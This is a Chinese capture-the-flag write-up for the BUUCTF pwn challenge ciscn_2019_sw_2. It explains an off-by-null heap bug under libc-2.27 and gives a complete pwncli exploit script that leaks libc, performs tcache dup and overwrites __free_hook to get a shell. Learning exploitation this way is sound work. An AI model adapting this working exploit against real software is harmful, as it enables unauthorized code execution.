标签:BUUCTF dele libc sw add base 2019 sendlineafter 0x80
目录ciscn_2019_sw_2
总结
libc-2.27
版本下的off by null
。
题目分析
checksec
漏洞点
在add
分支,存在一个off by null
,由strcpy
导致的
利用思路
步骤:
- 三明治结构,泄露地址
- 两个指针指向同一块
chunk
tcache dup
修改__free_hook
为one_gadget
即可
EXP
exp
均使用pwncli
编写,欢迎试用!
#!/usr/bin/python3
from pwncli import *
cli_script()
p:tube = gift['io']
elf:ELF = gift['elf']
libc: ELF = gift['libc']
def add(size, data="dead"):
p.sendlineafter("Your choice: ", "1")
p.sendlineafter("Size:", str(size))
p.sendafter("Data:", data)
def show(idx):
p.sendlineafter("Your choice: ", "2")
p.sendlineafter("Index:", str(idx))
m = p.recvline(0)
info(f"get msg: {m}")
return m
def dele(idx):
p.sendlineafter("Your choice: ", "3")
p.sendlineafter("Index:", str(idx))
# libc-2.27 off by null
add(0x420) # 0
add(0x80) # 1
add(0x4f0) # 2
add(0x10, "/bin/sh\x00") # 3
dele(0)
dele(1)
add(0x88, "a"*0x88) # 0
dele(0)
add(0x88, b"a"*0x80 + p64(0x4c0)) # 0
dele(2)
add(0x420) # 1
m = show(0)
libc_base = u64_ex(m) - 0x3ebca0
log_libc_base_addr(libc_base)
libc.address = libc_base
add(0x80) # 2
dele(0)
dele(2)
add(0x80, p64(libc.sym['__free_hook']))
add(0x80)
add(0x80, p64(libc_base + list(get_current_one_gadget())[1]))
dele(3)
get_flag_when_get_shell(p)
p.interactive()
引用与参考
1、My Blog
2、Ctf Wiki
3、pwncli
标签:BUUCTF,dele,libc,sw,add,base,2019,sendlineafter,0x80 来源: https://www.cnblogs.com/LynneHuan/p/15444183.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。